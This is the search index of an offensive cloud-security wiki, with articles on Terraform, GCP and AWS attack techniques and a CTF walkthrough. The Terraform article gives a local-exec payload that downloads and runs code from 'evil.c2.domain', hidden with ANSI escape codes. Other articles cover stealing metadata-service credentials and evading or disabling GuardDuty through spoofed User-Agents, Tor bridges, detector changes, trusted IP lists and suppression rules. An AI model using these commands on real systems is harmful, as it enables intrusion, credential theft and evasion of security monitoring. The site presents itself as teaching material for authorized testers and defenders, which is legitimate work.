      http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H \"Metadata-Flavor: Google\"\n
      To view project metadata:
      curl \"http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n
      To view instance metadata:
      curl \"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n

      The following table is pulled from the Google Cloud Documentation

      Metadata Endpoint Description /computeMetadata/v1/project/numeric-project-id The project number assigned to your project. /computeMetadata/v1/project/project-id The project ID assigned to your project. /computeMetadata/v1/instance/zone The zone the instance is running in. /computeMetadata/v1/instance/service-accounts/default/aliases /computeMetadata/v1/instance/service-accounts/default/email The default service account email assigned to your project. /computeMetadata/v1/instance/service-accounts/default/ Lists all the default service accounts for your project. /computeMetadata/v1/instance/service-accounts/default/scopes Lists all the supported scopes for the default service accounts. /computeMetadata/v1/instance/service-accounts/default/token Returns the auth token that can be used to authenticate your application to other Google Cloud APIs."},{"location":"gcp/general-knowledge/security-and-constraints/","title":"Security and Constraints","text":"

      GCP Resources are typically placed into Projects. Projects are a mix of resource groups in Azure and Accounts in AWS. Projects can be either non-hierarchical or completely hierarchical. An operator can place security constraints on these projects to provide a baseline security policy. There are also Organization-wide policy constraints that apply to every project.

      "},{"location":"gcp/general-knowledge/security-and-constraints/#examples","title":"Examples","text":"

      From: Organizational Policy Constraints

      • constraints/iam.disableServiceAccountCreation : This can disable the overall creation of service accounts. Equivalent to Service Principals in Azure.
      • constraints/iam.disableServiceAccountKeyCreation : This constraint will disable the ability to create a service account key. This constraint would be helpful if you want service accounts but only want to use RSA-based authentication.

      There are specific policies that are not retroactive. We can use these to our advantage.

      1. constraints/compute.requireShieldedVm: If a compute node is already created and exists without this constraint applied, then this constraint will not be retroactive. You must delete the object and re-create it for it to enforce shielded VMs.
      2. constraints/compute.vmExternalIpAccess: Consider the following scenario:

        • Constraint is based on the following permutation: projects/PROJECT_ID/zones/ZONE/instances/INSTANCE
        • Constraint looks for the name of the machine in the project identifier specified in the specific zone
        • If you can boot a VM with this specific set of criteria, then you can have a machine with an External IP Address
        • Machine cannot already exist.
        • constraints/compute.vmCanIpForward: Another Non Retroactive Setting. The machine must not exist before this setting is created. Once this is set, then machines will enforce this condition.
      "},{"location":"terraform/terraform_ansi_escape_evasion/","title":"Terraform ANSI Escape","text":"

      Original Research: Joern Schneeweisz

      When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

      Take for example the following Terraform code.

      main.tf
      resource \"null_resource\" \"hypothetical_ec2_instance\" {\n}\n\nresource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload\"\n  }\n}\n

      In this example, we are using a local-exec provisioner to run shell commands. If we were to backdoor a module or git repository storing Terraform configurations, and a developer were to download them and run them on their workstation, this would run the shell commands on their workstation.

      Tip

      As an alternative to local-exec, you can also use external_provider.

      The problem is that this output would get displayed to the user, for example:

      To solve this, we can use ANSI escape codes to modify this output. It is worth noting that the specific sequences we will need to use will depend on the terminal type the victim is using. The following example is using gnome-terminal on Ubuntu.

      \\033[2K # Clears the current line\n\\033[A  # Moves the cursor to the previous line\n

      So, we can modify our payload to the following to hide the malicious activity.

      main.tf
      resource \"null_resource\" \"blah\" {\n  provisioner \"local-exec\" {\n    command = \"wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload; echo -e '\\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A \\\\033[2K \\\\033[A'\"\n  }\n}\n

      And this is the output:

      "},{"location":"terraform/terraform_enterprise_metadata_service/","title":"Terraform Enterprise: Attack the Metadata Service","text":"

      Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

      If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

      \"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data\" (source)

      Note

      While the focus of this article is on targeting the metadata service, it is worth noting that gaining code execution inside a Terraform run may provide other avenues for attack. For example, environment variables could be leaked which may contain sensitive credentials.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#remote-code-execution","title":"Remote (Code) Execution","text":"

      For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

      An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in \"disposable virtual machines\". In Terraform Enterprise however, it takes place in \"disposable Docker containers\".

      This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

      Note

      It is possible to disable Remote Execution via a configuration however this is discouraged. \"Many of Terraform Cloud's features rely on remote execution, and are not available when using local operations. This includes features like Sentinel policy enforcement, cost estimation, and notifications.\"

      "},{"location":"terraform/terraform_enterprise_metadata_service/#docker-containers-and-metadata-services","title":"Docker Containers and Metadata Services","text":"

      Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

      Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

      "},{"location":"terraform/terraform_enterprise_metadata_service/#attack-prevention","title":"Attack Prevention","text":"

      It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

      The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

      Note

      Nothing should prevent these two methods from working at the same time. It is a good idea to require IMDSv2 of all EC2 instances in your environment.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#walkthrough","title":"Walkthrough","text":"

      Warning

      This walkthrough and screenshots are not tested against Terraform Enterprise (this is a free/open source project, we don't have access to a Terraform Enterprise instance for demonstration purposes). As such it is being demoed on Terraform Cloud which, while similar, is not a 1-1 copy. If you are attempting to exploit this against your organization's TFE instance, minor tweaks may be needed. (We are open to Pull Requests!)

      Note

      If you already have a configured and initialized Terraform backend, you can skip to the Executing Code section. The following walkthrough will demonstrate the entire process from finding the token to initializing the backend.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#acquire-a-terraform-api-token","title":"Acquire a Terraform API Token","text":"

      To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

      As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#identify-the-organization-and-workspace-names","title":"Identify the Organization and Workspace Names","text":"

      With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

      curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations | jq\n

      Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization id we gathered in the previous step.

      curl -H \"Authorization: Bearer $TFE_TOKEN\" \\\nhttps://<TFE Instance>/api/v2/organizations/<Organization ID>/workspaces | jq\n

      "},{"location":"terraform/terraform_enterprise_metadata_service/#configure-the-remote-backend","title":"Configure the Remote Backend","text":"

      Now that we have the organization and workspace id's from the previous step, we can configure the remote backend. To do this, you can use this example as a template with one exception. We will add a hostname value which is the hostname of the Terraform Enterprise instance. You can store this in a file named backend_config.tf. backend_config.tf

      terraform {\n  backend \"remote\" {\n    hostname = \"{{TFE_HOSTNAME}}\"\n    organization = \"{{ORGANIZATION_NAME}}\"\n\n    workspaces {\n      name = \"{{WORKSPACE_NAME}}\"\n    }\n  }\n}\n

      "},{"location":"terraform/terraform_enterprise_metadata_service/#initialize-the-backend","title":"Initialize the Backend","text":"

      With the backend configuration file created we can initialize the backend with the following command.

      terraform init --backend-config=\"token=$TFE_TOKEN\"\n

      If everything has worked as it should, you should get a Terraform has been successfully initialized notification. To test this, you can perform a terraform state list to list the various state objects.

      "},{"location":"terraform/terraform_enterprise_metadata_service/#executing-code","title":"Executing Code","text":"

      Now that our backend has been properly configured and we can access the remote state, we can attempt to execute code. There are several ways this can be done (such as using a local-exec provisioner) however, for our purposes we will be using the External Provider.

      \"external is a special provider that exists to provide an interface between Terraform and external programs\".

      What this means is that we can execute code during the Terraform plan or apply operations by specifying a program or script to run.

      To do this, we will create an external provider in our existing backend_config.tf file (if you already have an existing Terraform project you can add this block to those existing files).

      backend_config.tf
      ...\n\ndata \"external\" \"external_provider\" {\n    program = [\"python3\", \"wrapper.py\"]\n}\n\noutput \"external_provider_example\" {\n    value = data.external.external_provider\n}\n

      You may be wondering what the wrapper.py file is. In order to use the external provider, we must \"implement a specific protocol\" (source), which is JSON. To do this, we will wrap the result of the code execution in JSON so it can be returned.

      Note

      The wrapper script is not strictly required if you aren't interested in getting the output. If your goal is simply to execute a C2 payload, you can include the binary in the project directory and then execute it.

      Wrapping the output in JSON allows us to get the response output.

      Our wrapper script looks like the following (feel free to change to your needs).

      wrapper.py
      import json\nimport os\n\nstream = os.popen('id')\noutput = stream.read()\nresult = { \"result\" : output }\n\nprint(json.dumps(result))\n
      "},{"location":"terraform/terraform_enterprise_metadata_service/#terraform-plan","title":"Terraform Plan","text":"

      Now that the wrapper script is created (and modified), we can execute code via terraform plan. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.

      Warning

      Upon executing terraform plan you may encounter errors for various reasons depending upon the remote state. Those errors will need to be handled on a case by case basis. Typically this involves modifying your .tf files to suit the remote state. This can typically be figured out based on the results of terraform state pull.

      From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.

      Note

      The results of this run are logged elsewhere. Please do not leak secrets or other sensitive information to parties who do not have a need for the information. A more efficient method would be to use a C2 platform such as Mythic (or even just a TLS encrypted reverse shell) to exfiltrate the credentials.

      "}]} \ No newline at end of file +{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":["stopWordFilter"],"fields":{"title":{"boost":1000.0},"text":{"boost":1.0},"tags":{"boost":1000000.0}}},"docs":[{"location":"","title":"Home","text":"

      Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.

      All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a Pull Request. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.

      Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. Defensive knowledge is also welcome! At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.

      Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.

      "},{"location":"#contributing","title":"Contributing","text":"

      If you'd like to contribute to the site, please see our contributing page. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.

      Please checkout the GitHub page for more!

      "},{"location":"#disclaimer","title":"Disclaimer","text":"

      The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.

      "},{"location":"aws/avoiding-detection/guardduty-pentest/","title":"Bypass GuardDuty Pentest Findings for the AWS CLI","text":"

      Thank You

      Thank you to @yobroda for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.

      As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS CLI or SDK to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.

      This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.

      This is where AWS GuardDuty comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a PenTest Finding.

      As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot natively configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.

      Note

      In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.

      "},{"location":"aws/avoiding-detection/guardduty-pentest/#burp-suite-setup-and-usage","title":"Burp Suite Setup and Usage","text":"

      To begin, download and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click Proxy settings.

      Next, scroll to HTTP match and replace rules:

      From here, click Add and enter the following values:

      • Type: Request header
      • Match: ^User-Agent.*$
      • Regex match: Should be checked
      • Replace: This can be any string of your choosing. Ensure you preprend User-Agent: to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from Pacu.

      Click Test to see an example of what your change would look like.

      To finish, click OK. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.

      Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the HTTP_PROXY and HTTPS_PROXY environment variables. For example:

      export HTTPS_PROXY=http://127.0.0.1:8080\nexport HTTP_PROXY=http://127.0.0.1:8080\n

      With this setup, all of your AWS CLI requests will be routed to Burp Suite, however you will likely encounter the following error:

      SSL validation failed for https://sts.us-east-1.amazonaws.com/ [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)\n

      This is because Burp Suite uses a self-signed certificate. There are multiple options to resolve this issue and I will defer to your professional discretion on which to use. You could, for example, add the self-signed certificate to your trusted certificates. Alternatively you could disable SSL verification with the AWS CLI using the --no-verify-ssl flag.

      Regardless of the method you choose, after making a request to the AWS API you should see the User-Agent string you configured appear in the associated CloudTrail logs.

      With all of this in place, you can now make requests to the AWS API using the CLI without triggering GuardDuty alerts.

      "},{"location":"aws/avoiding-detection/guardduty-tor-client/","title":"Bypass GuardDuty Tor Client Findings","text":"

      UnauthorizedAccess:EC2/TorClient is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor Guard or Authority nodes. According to the documentation, \"this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity\".

      AWS determines this by comparing connections to the public list of Tor nodes. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.

      From a technical perspective the Tor Project has largely gotten around this by using Bridges. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.

      To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is apt install tor obfs4proxy and move them to your target). Obfs4 is a Pluggable Transport which modifies Tor traffic to communicate with a bridge. Navigate to bridges.torproject.org to get a bridge address.

      From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):

      UseBridges 1\nBridge obfs4 *ip address*:*port* *fingerprint* cert=*cert string* iat-mode=0\nClientTransportPlugin obfs4 exec /bin/obfs4proxy\n

      You will now be able to connect to the Tor network with tor -f torrc and you can connect to the Socks5 proxy on port 9050 (by default).

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/","title":"Modify GuardDuty Configuration","text":"

      When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like Service Control Policies.

      Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#misconfiguring-the-detector","title":"Misconfiguring the Detector","text":"

      An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.

      • Required IAM Permissions

        • guardduty:ListDetectors
        • guardduty:UpdateDetector

      Configuration changes may include a combination of:

      • Disabling the detector altogether.
      • Removing Kubernetes and s3 as data sources, which removes all S3 Protection and Kubernetes alerts.
      • Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.

      Example CLI commands

      # Disabling the detector\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --no-enable \n\n# Removing s3 as a log source\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --data-sources S3Logs={Enable=false}\n\n# Increase finding update time to 6 hours\naws guardduty update-detector \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --finding-publishing-frequency SIX_HOURS\n

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#modifying-trusted-ip-lists","title":"Modifying Trusted IP Lists","text":"

      An attacker could create or update GuardDuty's Trusted IP list, including their own IP on the list. Any IPs in a trusted IP list will not have any Cloudtrail or VPC flow log alerts raised against them.

      DNS findings are exempt from the Trusted IP list.

      • Required IAM Permissions

        • guardduty:ListDetectors
        • guardduty:ListIPSets
        • guardduty:CreateIPSet
        • guardduty:UpdateIPSet
        • iam:PutRolePolicy

      Depending on the level of stealth required, the file can be uploaded to an s3 bucket in the target account, or an account controlled by the attacker.

      Example CLI commands

      aws guardduty update-ip-set \\\n    --detector-id 12abc34d567e8fa901bc2d34eexample \\\n    --ip-set-id 24adjigdk34290840348exampleiplist \\\n    --location https://malicious-bucket.s3-us-east-1.amazonaws.com/customiplist.csv \\\n    --activate\n

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#modify-cloudwatch-events-rule","title":"Modify Cloudwatch events rule","text":"

      GuardDuty populates its findings to Cloudwatch Events on a 5 minute cadence. Modifying the Event pattern or Targets for an event may reduce GuardDuty's ability to alert and trigger auto-remediation of findings, especially where the remediation is triggered in a member account as GuardDuty administrator protections do not extend to the Cloudwatch events in the member account.

      • Required IAM Permissions

        • events:ListRules
        • events:ListTargetsByRule
        • events:PutRule
        • events:RemoveTargets

      Note

      In a delegated or invitational admin GuardDuty architecture, cloudwatch events will still be created in the admin account.

      Example CLI commands

      # Disable GuardDuty Cloudwatch Event\naws events put-rule --name guardduty-event \\\n--event-pattern \"{\\\"source\\\":[\\\"aws.guardduty\\\"]}\" \\\n--state DISABLED\n\n# Modify Event Pattern\naws events put-rule --name guardduty-event \\\n--event-pattern '{\"source\": [\"aws.somethingthatdoesntexist\"]}'\n\n# Remove Event Targets\naws events remove-targets --name guardduty-event \\\n--ids \"GuardDutyTarget\"\n

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#supression-rules","title":"Supression Rules","text":"

      Newly create GuardDuty findings can be automatically archived via Suppression Rules. An adversary could use filters to automatically archive findings they are likely to generate.

      • Required IAM Permissions

        • guardduty:CreateFilter

      Example CLI commands

      aws  guardduty create-filter --action ARCHIVE --detector-id 12abc34d567e8fa901bc2d34e56789f0 --name yourfiltername --finding-criteria file://criteria.json\n

      Filters can be created using the CreateFilter API.

      "},{"location":"aws/avoiding-detection/modify-guardduty-config/#delete-publishing-destination","title":"Delete Publishing Destination","text":"

      An adversary could disable alerting simply by deleting the destination of alerts.

      • Required IAM Permissions

        • guardduty:DeletePublishingDestination

      Example CLI commands

      aws guardduty delete-publishing-destination --detector-id abc123 --destination-id def456\n
      "},{"location":"aws/avoiding-detection/steal-keys-undetected/","title":"Bypass Credential Exfiltration Detection","text":"
      • Tools mentioned in this article

        SneakyEndpoints: Hide from the InstanceCredentialExfiltration GuardDuty finding by using VPC Endpoints

      A common technique when exploiting AWS environments is leveraging SSRF, XXE, command injection, etc. to steal IAM credentials from the instance metadata service of a target EC2 instance. This can allow you to execute AWS API calls within the victim's account, however, it comes with a risk. If you were to try to use those credentials outside of that host (for example, from your laptop) an alert would be triggered. There is a GuardDuty finding which detects when IAM credentials are being used outside of EC2 called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS.

      To get around this alert being triggered, attackers could use the stolen credentials from the attacker's EC2 instance. The alert only detected if the credentials were used outside of EC2, not the victim's specific EC2 instance. So by using their own, or exploiting another EC2 instance, attackers could bypass the GuardDuty alert.

      On January 20th 2022, AWS released a new GuardDuty finding called UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS. This new finding addressed the shortcomings of the previous one. Now, when IAM credentials are used from ANY EC2 instance, if those credentials don't belong to the same account as the EC2 instance which generated them, it triggers the alert. Thus, simply using your own EC2 instance is no longer viable. This addresses a long standing concern within the cloud security community.

      However, there is currently a functioning bypass for this - VPC Endpoints. Using VPC Endpoints will not trigger the GuardDuty alert. What this means is that, as an attacker, if you steal IAM credentials from an EC2 instance, you can use those credentials from your own EC2 instance while routing traffic through VPC Endpoints. This will not trigger the GuardDuty finding.

      Note

      There is another bypass option, however, it would only be useful in niche scenarios. The InstanceCredentialExfiltration finding is only tied to the AWS account, not the EC2 instance. As a result, if you compromise an EC2 instance in the target account and then compromise OTHER EC2 instances in the account, or steal their IAM credentials, you can safely use them from the initially compromised instance without fear of triggering GuardDuty.

      "},{"location":"aws/avoiding-detection/steal-keys-undetected/#sneakyendpoints","title":"SneakyEndpoints","text":"

      To make this setup faster/easier for Penetration Testers and Red Teamers, SneakyEndpoints was created. This project is a collection of Terraform configurations which can quickly spin up an environment to attack form. It will create an EC2 instance in a private subnet (no internet access) and create a number of VPC Endpoints for you to use. This setup ensures we don't accidentally access an internet facing API endpoint and trigger the alert.

      "},{"location":"aws/avoiding-detection/steal-keys-undetected/#setup-and-usage","title":"Setup and Usage","text":"

      To use SneakyEndpoints first install Terraform and set AWS credentials within your shell session.

      Next, perform the following Terraform commands:

      terraform init\nterraform apply\n

      Before continuing Terraform will ask you to confirm the deployment. After that, way ~10 minutes for everything to be done. Please note that after the deployment is finished it may take a short period of time for the EC2 instance to be connectable.

      After this period of time, connect to the EC2 instance using the AWS Systems Manager Session Manager.

      To teardown the infrastructure, run the following command:

      terraform destroy\n
      "},{"location":"aws/avoiding-detection/steal-keys-undetected/#using-sts","title":"Using STS","text":"

      Due to a quirk in how STS is setup, you will have to set a specific environment variable with the following command.

      export AWS_STS_REGIONAL_ENDPOINTS=regional\n

      This is because some versions of the AWS SDK default to using the global STS endpoint at sts.amazonaws.com. This is problematic because VPC endpoints are regional (e.g. sts.us-east-1.amazonaws.com). The result is that if you use a version that is expecting the global endpoint with SneakyEndpoints, the connection will timeout.

      "},{"location":"aws/capture_the_flag/cicdont/","title":"CI/CDon't","text":"

      Link to Project: CI/CDon't

      Note

      This project will deploy intentionally vulnerable software/infrastructure to your AWS account. Please ensure there is no sensitive or irrecoverable data in the account. Attempts have been made to mitigate this however they may not be fullproof; Security Group rules only allow access to the vulnerable EC2 instance from your public IP address, and a randomly generated password is required to access it.

      Warning

      If you intend to play the CTF it is a good idea to read through this page carefully to ensure you have all the details (minus the walkthrough). This page will familiarize the player with how the CTF works, what the objective is, and what the storyline is.

      "},{"location":"aws/capture_the_flag/cicdont/#background","title":"Background","text":"

      This is an AWS/GitLab CI/CD themed CTF that you can run in your own AWS account. All that is required is an AWS account and Terraform installed locally on your machine.

      Costs should be minimal; running this infrastructure in my own account for three hours didn't accrue a cent in the Billing Dashboard, however extended time frames may cause costs to add up.

      In terms of difficulty, it would be rated low. The goal is more about having fun and working through some simple CI/CD/AWS challenges that even non-security folks would enjoy.

      "},{"location":"aws/capture_the_flag/cicdont/#how-to-play","title":"How to Play","text":"

      Clone this repository and navigate to the cicdont directory.

      git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

      To deploy the CTF environment run the Terraform init/apply command.

      terraform init\nterraform apply\n

      You will be prompted with two questions. The first is a consent related to the costs of the CTF (Again, these should be minimal however the environment should still be taken down when you're finished with it). The second is asking your player name. Please do not use special characters in the name, only upper and lower case letters. This will be used in the game.

      Note

      It will take approximately 10 minutes for all the infrastructure to be deployed and ready. This 10 minute timer begins AFTER the Terraform apply has completed. This time is used to install all the software, create the NPCs, etc.

      Warning

      To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create a security group that only that IP address can access. If you cannot access the target_ip (explained below) after 10 minutes, check the AWS console for a security group named allow_http and ensure that its configuration would allow you to reach it.

      To destroy the CTF environment run the Terraform destroy command.

      terraform destroy\n

      This will again prompt you for the two questions. Please answer them and the infrastructure will be destroyed.

      "},{"location":"aws/capture_the_flag/cicdont/#the-important-bits","title":"The Important Bits","text":"

      Once you've run terraform apply, you will receive 5 outputs. This will include the following:

      • Player Username
      • Player Password (randomly generated)
      • Attackbox IP
      • Target IP
      • Time warning

      The attackbox is an EC2 instance you can use for whatever purposes you deem fit. In particular you can use it to catch a reverse shell, or load your C2 platform of choice on it (you have sudo access via the password).

      To access the attackbox, you can ssh using your player username and password.

      ssh <player username>@<attackbox IP>\n

      Note

      When sshing with a player username, note that the username is case-sensitive.

      It will take approximately 10 minutes for all the infrastructure to finish deploying. If you'd like to test if it's finished, you can navigate to http://<target IP>/. If it doesn't respond, or only shows a generic GitLab login page, then the CTF is not ready yet. If you see a message about SoftHouseIO, then everything is setup and ready.

      Note

      To be able to access the vulnerable instance, Terraform will attempt to determine your public IP address and create security group rules that only that IP address can access. If you cannot access the target instance after 10 minutes (likely shorter), check the AWS console for a security group named allow_http and ensure that it's configuration would allow you to reach it.

      These security group rules apply to both the target (GitLab) and the attackbox. Additionally, the rules are configured to allow the attackbox to receive incoming traffic from the target (to catch shells).

      If you see any references to gamemaster, please ignore it. Those scripts are used to simulate the NPCs and have them complete their lore tasks. It is unrelated to the challenge.

      "},{"location":"aws/capture_the_flag/cicdont/#the-story","title":"The Story","text":"

      You are <player username>, a developer at SoftHouseIO, an independent software development consultancy firm. While you like the company, you're thinking about making a little money on the side, perhaps through not entirely legal means. Can you say ransomware?

      After planning your attack you figure the best place to get started is the company GitLab server at http://<target IP>. Your username and password should you get you in. You'll want to gain access to administrative credentials for the AWS account the company uses.

      "},{"location":"aws/capture_the_flag/cicdont/#the-objective","title":"The Objective","text":"

      Gain access to the aws_admin_automation_user through whatever means necessary (Note that this role has no permissions. It is simply the goal).

      "},{"location":"aws/capture_the_flag/cicdont/#feedback","title":"Feedback","text":"

      Want to provide feedback on the challenge? Open a new discussion on GitHub

      "},{"location":"aws/capture_the_flag/cicdont/#walkthrough","title":"Walkthrough","text":"

      The following is a step by step walkthrough of the CTF. You can refer to this if you get stuck or simply just want to know what is next. Click the summary below to expand it.

      Summary

      Consent and Name

      To begin the CTF we must first stand up all the infrastructure. We do this using Terraform.

      Download the challenge using git.

      git clone https://github.com/Hacking-the-Cloud/htc-ctfs.git\ncd htc-ctfs/aws/cicdont\n

      Initialize the project.

      terraform init\n

      Create the infrastructure.

      terraform apply\n

      We will be prompted first with a consent. Read through the question and answer with yes or no.

      After this, it will ask for a player name. Please only use lower and uppercase letters. No special characters or numbers.

      After this, you will be asked if you'd like to perform the deployment. Answer with \"yes\".

      The Terraform deployment will begin.

      Wait

      Note

      You will now need to wait 10 minutes for the deployment to finish. The 10 minute timer starts AFTER you get the \"Apply complete\" notification.

      Does it really take 10 minutes? Yes, it takes a little bit to get everything setup. You can take this time to get familiar with your attackbox. This is an EC2 instance you can use for whatever you need during the CTF, particularly to catch shells.

      You can ssh into the box using your username and password

      ssh <player_username>@<target_ip>\n

      Note

      The username is case-sensitive.

      Getting Started

      After waiting those 10 minutes, you finally have a target. You can navigate to the target_ip to see a GitLab instance. Log in using your player username and password.

      From here, you can navigate around, explore the various projects, and more. You might even notice a little notification in the upper right hand corner.

      Ashley has some work for us! Perhaps this will give us a hint for something we can exploit.

      Navigate to the mvp-docker project's Issues page.

      This is interesting for a few reasons. Most notably, Ashley wants some help with building a Docker container as a part of the CI/CD pipeline. She also mentions a gitlab-ci.yml file, which is the configuration for the GitLab CI/CD pipeline.

      Building Docker images as a part of a CI/CD pipeline can have serious security implications and this is definitely worth looking into.

      Before we can get to that fun, let's take a look at that gitlab-ci.yml file. Navigate there and make some changes (you can edit the file through the web browser if you prefer or you can clone the project locally).

      After committing changes (via the web interface or otherwise) you can navigate to the CI/CD tab on the left to see the pipeline execute.

      Clicking on the status, and then the build job we can see the output.

